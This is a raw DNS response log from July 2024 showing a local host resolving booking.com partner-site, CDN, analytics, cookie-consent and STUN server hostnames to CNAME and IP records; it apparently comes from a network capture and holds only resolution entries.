Jul 9, 2024 00:43:46.318114042 CEST	1.1.1.1	192.168.2.6	0x2b7a	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.318114042 CEST	1.1.1.1	192.168.2.6	0x2b7a	No error (0)	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		52.209.78.88	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.379627943 CEST	1.1.1.1	192.168.2.6	0x5dd	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.379627943 CEST	1.1.1.1	192.168.2.6	0x5dd	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.379627943 CEST	1.1.1.1	192.168.2.6	0x5dd	No error (0)	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		52.209.78.88	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.420553923 CEST	1.1.1.1	192.168.2.6	0xe6ae	No error (0)	ls.cdn-gw-dv.vip	all.cdn-gw-dv.vip.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.420553923 CEST	1.1.1.1	192.168.2.6	0xe6ae	No error (0)	all.cdn-gw-dv.vip.w.cdngslb.com		47.246.50.207	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.488023996 CEST	1.1.1.1	192.168.2.6	0xdeff	No error (0)	booking.ck123.io	booking.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.488023996 CEST	1.1.1.1	192.168.2.6	0xdeff	No error (0)	booking.gw-dv.vip	def-eu.gw-dv.vip		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.488023996 CEST	1.1.1.1	192.168.2.6	0xdeff	No error (0)	def-eu.gw-dv.vip	dedge-eu-elb-52e504904913708c.elb.eu-west-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:46.786776066 CEST	1.1.1.1	192.168.2.6	0x769a	No error (0)	geolocation.onetrust.com			65	IN (0x0001)	false
Jul 9, 2024 00:43:46.786787987 CEST	1.1.1.1	192.168.2.6	0x5b4c	No error (0)	geolocation.onetrust.com		104.18.32.137	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.786787987 CEST	1.1.1.1	192.168.2.6	0x5b4c	No error (0)	geolocation.onetrust.com		172.64.155.119	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.787842035 CEST	1.1.1.1	192.168.2.6	0x8716	No error (0)	cdn.cookielaw.org		104.19.178.52	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.787842035 CEST	1.1.1.1	192.168.2.6	0x8716	No error (0)	cdn.cookielaw.org		104.19.177.52	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:46.789525032 CEST	1.1.1.1	192.168.2.6	0x7738	No error (0)	cdn.cookielaw.org			65	IN (0x0001)	false
Jul 9, 2024 00:43:47.470556021 CEST	1.1.1.1	192.168.2.6	0x8d0b	No error (0)	geolocation.onetrust.com		172.64.155.119	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:47.470556021 CEST	1.1.1.1	192.168.2.6	0x8d0b	No error (0)	geolocation.onetrust.com		104.18.32.137	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:47.471457958 CEST	1.1.1.1	192.168.2.6	0xdd4b	No error (0)	geolocation.onetrust.com			65	IN (0x0001)	false
Jul 9, 2024 00:43:48.195513964 CEST	1.1.1.1	192.168.2.6	0x4a5	No error (0)	h.online-metrix.net		91.235.132.130	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:48.277389050 CEST	1.1.1.1	192.168.2.6	0xb7e3	No error (0)	h.online-metrix.net		91.235.132.130	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:49.272249937 CEST	1.1.1.1	192.168.2.6	0xc67e	No error (0)	h64.online-metrix.net		192.225.158.1	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:49.742444992 CEST	1.1.1.1	192.168.2.6	0x86f2	No error (0)	doregtzf5ebkfwgr3cpglagb72suuseqjxlah7jgd9fe95023d324584sac.d.aa.online-metrix.net		192.225.158.3	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:51.047384024 CEST	1.1.1.1	192.168.2.6	0xf4fa	No error (0)	doregtzf5ebkfwgr3cpglagb72suuseqjxlah7jgd9fe95023d324584sac.d.aa.online-metrix.net		192.225.158.3	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:52.083389997 CEST	1.1.1.1	192.168.2.6	0x7b7b	No error (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com		18.244.18.55	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:52.083389997 CEST	1.1.1.1	192.168.2.6	0x7b7b	No error (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com		18.244.18.18	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:52.083389997 CEST	1.1.1.1	192.168.2.6	0x7b7b	No error (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com		18.244.18.10	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:52.083389997 CEST	1.1.1.1	192.168.2.6	0x7b7b	No error (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com		18.244.18.94	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:52.880326033 CEST	1.1.1.1	192.168.2.6	0xc989	No error (0)	r.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:52.880326033 CEST	1.1.1.1	192.168.2.6	0xc989	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:52.880326033 CEST	1.1.1.1	192.168.2.6	0xc989	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:52.880326033 CEST	1.1.1.1	192.168.2.6	0xc989	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.21	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:52.880326033 CEST	1.1.1.1	192.168.2.6	0xc989	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.31	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:52.880326033 CEST	1.1.1.1	192.168.2.6	0xc989	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.93	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:52.880326033 CEST	1.1.1.1	192.168.2.6	0xc989	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.66.196.62	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:52.917521000 CEST	1.1.1.1	192.168.2.6	0x3326	No error (0)	r.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:52.917521000 CEST	1.1.1.1	192.168.2.6	0x3326	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:52.917521000 CEST	1.1.1.1	192.168.2.6	0x3326	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:54.083014965 CEST	1.1.1.1	192.168.2.6	0x612c	No error (0)	partner.booking.com		18.164.96.110	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:54.083014965 CEST	1.1.1.1	192.168.2.6	0x612c	No error (0)	partner.booking.com		18.164.96.73	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:54.083014965 CEST	1.1.1.1	192.168.2.6	0x612c	No error (0)	partner.booking.com		18.164.96.104	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:54.083014965 CEST	1.1.1.1	192.168.2.6	0x612c	No error (0)	partner.booking.com		18.164.96.96	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:54.552804947 CEST	1.1.1.1	192.168.2.6	0x8d43	No error (0)	collector-pxikkul2rm.px-cloud.net		35.190.10.96	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.272114038 CEST	1.1.1.1	192.168.2.6	0xa701	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.272114038 CEST	1.1.1.1	192.168.2.6	0xa701	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.707624912 CEST	1.1.1.1	192.168.2.6	0xacc2	No error (0)	bstatic.com		18.66.171.29	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.707624912 CEST	1.1.1.1	192.168.2.6	0xacc2	No error (0)	bstatic.com		18.66.171.105	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.707624912 CEST	1.1.1.1	192.168.2.6	0xacc2	No error (0)	bstatic.com		18.66.171.83	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.707624912 CEST	1.1.1.1	192.168.2.6	0xacc2	No error (0)	bstatic.com		18.66.171.75	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.711678028 CEST	1.1.1.1	192.168.2.6	0x4de4	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:55.712763071 CEST	1.1.1.1	192.168.2.6	0x8179	No error (0)	rtp-static.marketo.com	wildcard.marketo.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:55.713949919 CEST	1.1.1.1	192.168.2.6	0x378e	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:55.713994980 CEST	1.1.1.1	192.168.2.6	0xb2f3	No error (0)	www.googleoptimize.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.717364073 CEST	1.1.1.1	192.168.2.6	0xe71e	No error (0)	lonrtp1.marketo.com		162.13.202.201	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.740942001 CEST	1.1.1.1	192.168.2.6	0xe5dd	No error (0)	try.abtasty.com	try-cloudfront.abtasty.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:55.740942001 CEST	1.1.1.1	192.168.2.6	0xe5dd	No error (0)	try-cloudfront.abtasty.com		18.172.112.62	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.740942001 CEST	1.1.1.1	192.168.2.6	0xe5dd	No error (0)	try-cloudfront.abtasty.com		18.172.112.27	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.740942001 CEST	1.1.1.1	192.168.2.6	0xe5dd	No error (0)	try-cloudfront.abtasty.com		18.172.112.60	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.740942001 CEST	1.1.1.1	192.168.2.6	0xe5dd	No error (0)	try-cloudfront.abtasty.com		18.172.112.72	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.741183043 CEST	1.1.1.1	192.168.2.6	0x4294	No error (0)	try.abtasty.com	try-cloudfront.abtasty.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:55.797688961 CEST	1.1.1.1	192.168.2.6	0xfd70	No error (0)	rtp-static.marketo.com	wildcard.marketo.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:55.887258053 CEST	1.1.1.1	192.168.2.6	0x93f0	No error (0)	cdn.evgnet.com		151.101.64.114	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.887258053 CEST	1.1.1.1	192.168.2.6	0x93f0	No error (0)	cdn.evgnet.com		151.101.0.114	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.887258053 CEST	1.1.1.1	192.168.2.6	0x93f0	No error (0)	cdn.evgnet.com		151.101.192.114	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:55.887258053 CEST	1.1.1.1	192.168.2.6	0x93f0	No error (0)	cdn.evgnet.com		151.101.128.114	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:58.374936104 CEST	1.1.1.1	192.168.2.6	0xbd	No error (0)	partner.booking.com		18.164.96.96	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:58.374936104 CEST	1.1.1.1	192.168.2.6	0xbd	No error (0)	partner.booking.com		18.164.96.110	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:58.374936104 CEST	1.1.1.1	192.168.2.6	0xbd	No error (0)	partner.booking.com		18.164.96.73	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:58.374936104 CEST	1.1.1.1	192.168.2.6	0xbd	No error (0)	partner.booking.com		18.164.96.104	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:59.698477983 CEST	1.1.1.1	192.168.2.6	0xe52a	No error (0)	try.abtasty.com	try-cloudfront.abtasty.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:43:59.698477983 CEST	1.1.1.1	192.168.2.6	0xe52a	No error (0)	try-cloudfront.abtasty.com		18.172.112.27	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:59.698477983 CEST	1.1.1.1	192.168.2.6	0xe52a	No error (0)	try-cloudfront.abtasty.com		18.172.112.72	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:59.698477983 CEST	1.1.1.1	192.168.2.6	0xe52a	No error (0)	try-cloudfront.abtasty.com		18.172.112.62	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:59.698477983 CEST	1.1.1.1	192.168.2.6	0xe52a	No error (0)	try-cloudfront.abtasty.com		18.172.112.60	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:43:59.698491096 CEST	1.1.1.1	192.168.2.6	0x9e9b	No error (0)	try.abtasty.com	try-cloudfront.abtasty.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:03.847615004 CEST	1.1.1.1	192.168.2.6	0x4ca1	No error (0)	chat.kindlycdn.com			65	IN (0x0001)	false
Jul 9, 2024 00:44:03.850716114 CEST	1.1.1.1	192.168.2.6	0x8957	No error (0)	zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:03.850716114 CEST	1.1.1.1	192.168.2.6	0x8957	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:03.850728989 CEST	1.1.1.1	192.168.2.6	0x5f9f	No error (0)	chat.kindlycdn.com		104.26.6.229	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:03.850728989 CEST	1.1.1.1	192.168.2.6	0x5f9f	No error (0)	chat.kindlycdn.com		104.26.7.229	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:03.850728989 CEST	1.1.1.1	192.168.2.6	0x5f9f	No error (0)	chat.kindlycdn.com		172.67.71.156	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:03.852176905 CEST	1.1.1.1	192.168.2.6	0x3ef5	No error (0)	zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:03.852176905 CEST	1.1.1.1	192.168.2.6	0x3ef5	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:03.864911079 CEST	1.1.1.1	192.168.2.6	0x54d3	No error (0)	cdn.spinnaker-js.com	d2df291ti5v5sq.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:03.864911079 CEST	1.1.1.1	192.168.2.6	0x54d3	No error (0)	d2df291ti5v5sq.cloudfront.net		18.238.243.80	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:03.864911079 CEST	1.1.1.1	192.168.2.6	0x54d3	No error (0)	d2df291ti5v5sq.cloudfront.net		18.238.243.122	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:03.864911079 CEST	1.1.1.1	192.168.2.6	0x54d3	No error (0)	d2df291ti5v5sq.cloudfront.net		18.238.243.109	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:03.864911079 CEST	1.1.1.1	192.168.2.6	0x54d3	No error (0)	d2df291ti5v5sq.cloudfront.net		18.238.243.118	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:03.875814915 CEST	1.1.1.1	192.168.2.6	0xf672	No error (0)	cdn.spinnaker-js.com	d2df291ti5v5sq.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:07.570600986 CEST	1.1.1.1	192.168.2.6	0x729d	No error (0)	apil1.spinnaker-js.com	pirateprod.9k9qh2pzbv.eu-west-1.elasticbeanstalk.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:07.570600986 CEST	1.1.1.1	192.168.2.6	0x729d	No error (0)	pirateprod.9k9qh2pzbv.eu-west-1.elasticbeanstalk.com		34.255.142.78	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:07.570600986 CEST	1.1.1.1	192.168.2.6	0x729d	No error (0)	pirateprod.9k9qh2pzbv.eu-west-1.elasticbeanstalk.com		52.212.92.193	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:07.581074953 CEST	1.1.1.1	192.168.2.6	0x3711	No error (0)	apil1.spinnaker-js.com	pirateprod.9k9qh2pzbv.eu-west-1.elasticbeanstalk.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:08.803380966 CEST	1.1.1.1	192.168.2.6	0x566e	No error (0)	chat.kindlycdn.com			65	IN (0x0001)	false
Jul 9, 2024 00:44:08.804521084 CEST	1.1.1.1	192.168.2.6	0x3aa0	No error (0)	chat.kindlycdn.com		104.26.6.229	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:08.804521084 CEST	1.1.1.1	192.168.2.6	0x3aa0	No error (0)	chat.kindlycdn.com		104.26.7.229	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:08.804521084 CEST	1.1.1.1	192.168.2.6	0x3aa0	No error (0)	chat.kindlycdn.com		172.67.71.156	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:16.053807020 CEST	1.1.1.1	192.168.2.6	0x5b09	No error (0)	dcinfos-cache.abtasty.com		34.36.178.232	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:17.086510897 CEST	1.1.1.1	192.168.2.6	0x7568	No error (0)	dcinfos-cache.abtasty.com		34.36.178.232	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:19.515321016 CEST	1.1.1.1	192.168.2.6	0xbf04	No error (0)	ariane.abtasty.com		34.36.178.232	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:20.443635941 CEST	1.1.1.1	192.168.2.6	0x3888	No error (0)	ariane.abtasty.com		34.36.178.232	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:24.587713003 CEST	1.1.1.1	192.168.2.6	0x8fb1	No error (0)	bookingdotcomb2b.germany-2.evergage.com		18.185.181.69	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:24.587713003 CEST	1.1.1.1	192.168.2.6	0x8fb1	No error (0)	bookingdotcomb2b.germany-2.evergage.com		18.194.251.223	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:24.587713003 CEST	1.1.1.1	192.168.2.6	0x8fb1	No error (0)	bookingdotcomb2b.germany-2.evergage.com		18.157.249.141	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:26.522100925 CEST	1.1.1.1	192.168.2.6	0x35a3	No error (0)	bookingdotcomb2b.germany-2.evergage.com		18.185.181.69	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:26.522100925 CEST	1.1.1.1	192.168.2.6	0x35a3	No error (0)	bookingdotcomb2b.germany-2.evergage.com		18.157.249.141	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:26.522100925 CEST	1.1.1.1	192.168.2.6	0x35a3	No error (0)	bookingdotcomb2b.germany-2.evergage.com		18.194.251.223	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:26.816020012 CEST	1.1.1.1	192.168.2.6	0x7794	No error (0)	zn09tjwjvephllacp-partnersatbooking.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:26.816020012 CEST	1.1.1.1	192.168.2.6	0x7794	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:26.819030046 CEST	1.1.1.1	192.168.2.6	0xf330	No error (0)	zn09tjwjvephllacp-partnersatbooking.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:26.819030046 CEST	1.1.1.1	192.168.2.6	0xf330	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:27.485985994 CEST	1.1.1.1	192.168.2.6	0x4322	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:27.485985994 CEST	1.1.1.1	192.168.2.6	0x4322	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:27.487102985 CEST	1.1.1.1	192.168.2.6	0x6bfb	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:27.487102985 CEST	1.1.1.1	192.168.2.6	0x6bfb	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:27.594290018 CEST	1.1.1.1	192.168.2.6	0x608a	No error (0)	sage.kindly.ai		34.120.99.165	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:30.519156933 CEST	1.1.1.1	192.168.2.6	0x2487	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:30.519156933 CEST	1.1.1.1	192.168.2.6	0x2487	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:30.519903898 CEST	1.1.1.1	192.168.2.6	0x9aa0	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:30.519903898 CEST	1.1.1.1	192.168.2.6	0x9aa0	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:30.542782068 CEST	1.1.1.1	192.168.2.6	0x7840	No error (0)	sage.kindly.ai		34.120.99.165	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:32.425899982 CEST	1.1.1.1	192.168.2.6	0xcfac	No error (0)	www.booking.com	d1of1hbywxxm65.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:32.426670074 CEST	1.1.1.1	192.168.2.6	0xa84d	No error (0)	www.booking.com	d1of1hbywxxm65.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:32.426670074 CEST	1.1.1.1	192.168.2.6	0xa84d	No error (0)	d1of1hbywxxm65.cloudfront.net		13.224.222.22	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:32.426670074 CEST	1.1.1.1	192.168.2.6	0xa84d	No error (0)	d1of1hbywxxm65.cloudfront.net		13.224.222.99	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:32.426670074 CEST	1.1.1.1	192.168.2.6	0xa84d	No error (0)	d1of1hbywxxm65.cloudfront.net		13.224.222.125	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:32.426670074 CEST	1.1.1.1	192.168.2.6	0xa84d	No error (0)	d1of1hbywxxm65.cloudfront.net		13.224.222.108	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:33.114309072 CEST	1.1.1.1	192.168.2.6	0x69b7	No error (0)	stun.antisip.com			28	IN (0x0001)	false
Jul 9, 2024 00:44:33.116437912 CEST	1.1.1.1	192.168.2.6	0x8cd7	No error (0)	stun.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:44:33.118184090 CEST	1.1.1.1	192.168.2.6	0x9922	No error (0)	stun.callromania.ro	stun.1und1.de		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:33.118225098 CEST	1.1.1.1	192.168.2.6	0xe2cb	No error (0)	stun1.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:44:33.119781017 CEST	1.1.1.1	192.168.2.6	0x8d57	No error (0)	stun3.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:44:33.119796038 CEST	1.1.1.1	192.168.2.6	0x2d26	No error (0)	stun4.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:44:33.119815111 CEST	1.1.1.1	192.168.2.6	0x3605	No error (0)	stun2.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:44:33.136121035 CEST	1.1.1.1	192.168.2.6	0x5c1f	No error (0)	stun.aa.net.uk	natisevil.aasip.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:33.140202999 CEST	1.1.1.1	192.168.2.6	0x7ac8	No error (0)	stun.callromania.ro	stun.1und1.de		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:33.140219927 CEST	1.1.1.1	192.168.2.6	0x5ba0	No error (0)	stun2.l.google.com			28	IN (0x0001)	false
Jul 9, 2024 00:44:33.177701950 CEST	1.1.1.1	192.168.2.6	0xac24	No error (0)	stun.aa.net.uk	natisevil.aasip.co.uk		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:34.791275024 CEST	1.1.1.1	192.168.2.6	0xc6d9	No error (0)	www.booking.com	d1of1hbywxxm65.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:34.791275024 CEST	1.1.1.1	192.168.2.6	0xc6d9	No error (0)	d1of1hbywxxm65.cloudfront.net		18.245.60.76	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:34.791275024 CEST	1.1.1.1	192.168.2.6	0xc6d9	No error (0)	d1of1hbywxxm65.cloudfront.net		18.245.60.68	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:34.791275024 CEST	1.1.1.1	192.168.2.6	0xc6d9	No error (0)	d1of1hbywxxm65.cloudfront.net		18.245.60.7	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:34.791275024 CEST	1.1.1.1	192.168.2.6	0xc6d9	No error (0)	d1of1hbywxxm65.cloudfront.net		18.245.60.2	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:34.792543888 CEST	1.1.1.1	192.168.2.6	0x6b3f	No error (0)	www.booking.com	d1of1hbywxxm65.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:36.026561975 CEST	1.1.1.1	192.168.2.6	0xcff6	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:36.026829958 CEST	1.1.1.1	192.168.2.6	0x38be	No error (0)	asanalytics.booking.com	h-doregtzf.online-metrix.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 00:44:36.026829958 CEST	1.1.1.1	192.168.2.6	0x38be	No error (0)	h-doregtzf.online-metrix.net		91.235.133.10	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:37.589413881 CEST	1.1.1.1	192.168.2.6	0x2973	No error (0)	doregtzfn74qusm57gonvfgshkv6p2r76un7bsic9508ecaba7cf30c8sac.d.aa.online-metrix.net		192.225.158.3	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:38.940224886 CEST	1.1.1.1	192.168.2.6	0xb252	No error (0)	doregtzfn74qusm57gonvfgshkv6p2r76un7bsic9508ecaba7cf30c8sac.d.aa.online-metrix.net		192.225.158.3	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:46.835309982 CEST	1.1.1.1	192.168.2.6	0xe3a4	No error (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com		18.244.18.55	A (IP address)	IN (0x0001)	false
Jul 9, 2024 00:44:46.835309982 CEST	1.1.1.1	192.168.2.6	0xe3a4	No error (0)	d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com		18.244.18.94	A (IP address)	IN (0x0001)	false
